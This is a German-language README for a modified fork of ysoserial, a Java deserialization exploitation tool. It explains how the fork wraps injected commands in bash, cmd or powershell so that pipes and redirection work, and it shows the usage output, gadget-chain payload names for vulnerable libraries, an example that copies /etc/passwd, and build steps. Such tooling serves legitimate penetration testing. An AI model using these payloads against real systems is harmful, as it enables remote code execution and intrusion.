
Dieses Repository enthält meine Aktualisierungen für das bekannte Java-Deserialisierungs-Exploitation-Tool ysoserial.
Das ist ein Fork der ursprünglichen ysoserial-Anwendung, die du hier finden kannst: https://github.com/frohoff/ysoserial
Dadurch, wie Runtime.getRuntime().exec(String.class) in Java funktioniert, sind verschachtelte und komplexe Befehle, bei denen du Pipes steuern oder die Ausgabe in Dateien umleiten musst (z. B. cat /etc/passwd > /tmp/passwd_copy), nicht möglich, da der von der exec()-Methode der Runtime-Klasse ausgeführte Befehl nicht in einer Terminal-Umgebung ausgeführt wird. Ein möglicher Hack besteht darin, "/bin/sh -c 'command'" auszuführen, aber du musst das Leerzeichen im 'command' mit ${IFS} escapen, sonst funktioniert es nicht wie erwartet. Weitere Details zu diesem Problem und möglichen Workarounds findest du in diesem Blogpost, der tief auf die Details eingeht.
Eine gute Lösung, um dieses Problem zu beheben, besteht darin, die Argumente an die Methode Runtime.getRuntime().exec(String[].class) zu übergeben, die ein Array von Strings erwartet. Am besten führst du Folgendes aus: Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", "command"}). Wenn du die Argumente auf diese Weise übergibst, versteht Java, dass du /bin/bash mit den Argumenten -c und 'command' auf die richtige Weise ausführst, und führt deinen Befehl in einer Terminal-Umgebung aus. Dadurch kannst du verschachtelte oder komplexe Befehle (mit | oder ;) verwenden und auch Ein- und Ausgaben steuern (mit < und >).
Vor diesem Hintergrund habe ich ysoserial eine Funktionalität hinzugefügt, bei der du die Art des Terminals angibst, das du zur Ausführung deines Befehls verwenden möchtest (cmd / bash / powershell oder none). Meine Modifikation führt deinen Befehl dann in diesem Terminalkontext aus, sodass du jeden komplexen Befehl so ausführen kannst, wie er funktionieren soll!
pimps@Scorpion:~/git/ysoserial-modified/target$ java -jar ysoserial-modified.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'
ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'
Available payload types:
BeanShell1 [org.beanshell:bsh:2.0b5]
C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
CommonsCollections1 [commons-collections:commons-collections:3.1]
CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
CommonsCollections3 [commons-collections:commons-collections:3.1]
CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
CommonsCollections5 [commons-collections:commons-collections:3.1]
CommonsCollections6 [commons-collections:commons-collections:3.1]
FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4]
Groovy1 [org.codehaus.groovy:groovy:2.3.9]
Hibernate1 []
...
Lade das kompilierte JAR aus dem /target-Verzeichnis dieses Repositorys herunter oder klicke einfach hier.
Um es selbst zu kompilieren:
Erforderlich sind Java 1.7+ und Maven 3.x+.
$ git clone https://github.com/pimps/ysoserial-modified.git
$ cd ysoserial-modified
$ mvn clean package -DskipTests
Die JAR-Datei befindet sich danach im target-Verzeichnis.